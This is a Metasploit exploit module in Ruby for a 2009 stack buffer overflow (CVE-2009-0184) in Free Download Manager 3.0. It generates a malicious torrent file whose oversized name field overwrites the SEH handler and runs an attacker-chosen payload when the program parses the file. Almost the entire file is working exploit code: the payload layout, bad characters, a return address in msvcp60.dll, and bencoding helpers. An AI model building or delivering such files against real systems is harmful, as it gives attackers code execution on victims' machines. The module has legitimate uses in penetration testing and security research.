143 lines
3.4 KiB
Ruby
143 lines
3.4 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Free Download Manager Torrent Parsing Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Free Download Manager
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3.0 Build 844. Arbitrary code execution could occur when parsing a
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specially crafted torrent file.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'SkD <skdrat[at]hotmail.com>',
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'jduck',
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],
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'References' =>
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[
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[ 'CVE', '2009-0184' ],
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[ 'OSVDB', '54033' ],
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[ 'BID', '33555' ],
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[ 'URL', 'http://freedownload.svn.sourceforge.net/viewvc/freedownload/FDM/vmsBtDownloadManager.cpp?r1=11&r2=18' ],
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[ 'URL', 'http://freedownload.svn.sourceforge.net/viewvc/freedownload/FDM/Bittorrent/fdmbtsupp/vmsBtFileImpl.cpp?r1=9&r2=18' ],
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[ 'URL', 'http://secunia.com/secunia_research/2009-5/' ],
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[ 'URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/33555-SkD.pl' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh',
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'DisablePayloadHandler' => 'true',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'DisableNops' => 'True',
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'BadChars' => "\x00\x2c\x5c",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Free Download Manager 3.0 (Build 844)',
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{
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'Ret' => 0x76051372 # pop/pop/ret @ msvcp60.dll
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Feb 2 2009',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.torrent']),
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], self.class)
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end
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def exploit
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bof = rand_text_alphanumeric(10004) + generate_seh_payload(target.ret)
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# hit the end of the stack...
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bof << rand_text(1000) * 50
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len = rand(10*1024*1024)
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info_hash = {
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'length' => len,
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'name' => bof,
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'piece length' => len + rand(262144 - len),
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'pieces' => rand_text(20),
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}
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ann_hash = {
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'info' => info_hash,
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}
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encoded = bencode_hash(ann_hash)
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(encoded)
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end
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# bencoding functions:
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#
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# http://wiki.theory.org/BitTorrentSpecification
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#
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def bencode_string(str)
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ret = "%d:" % str.length
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ret << str
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return ret
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end
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def bencode_int(int)
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ret = "i%de" % int
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return ret
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end
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def bencode_item(item)
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case item
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when Fixnum
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return bencode_int(item)
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when String
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return bencode_string(item)
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when Hash
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return bencode_hash(item)
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else
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throw("unsupported bencode data type! " + item.testzt)
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end
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end
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def bencode_list(list)
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ret = "l"
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list.each do |el|
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ret << bencode_item(el)
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end
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ret << "e"
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return ret
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end
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def bencode_hash(hash)
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ret = "d"
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hash.keys.sort.each do |k|
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ret << bencode_item(k)
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ret << bencode_item(hash[k])
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end
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ret << "e"
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return ret
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end
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end
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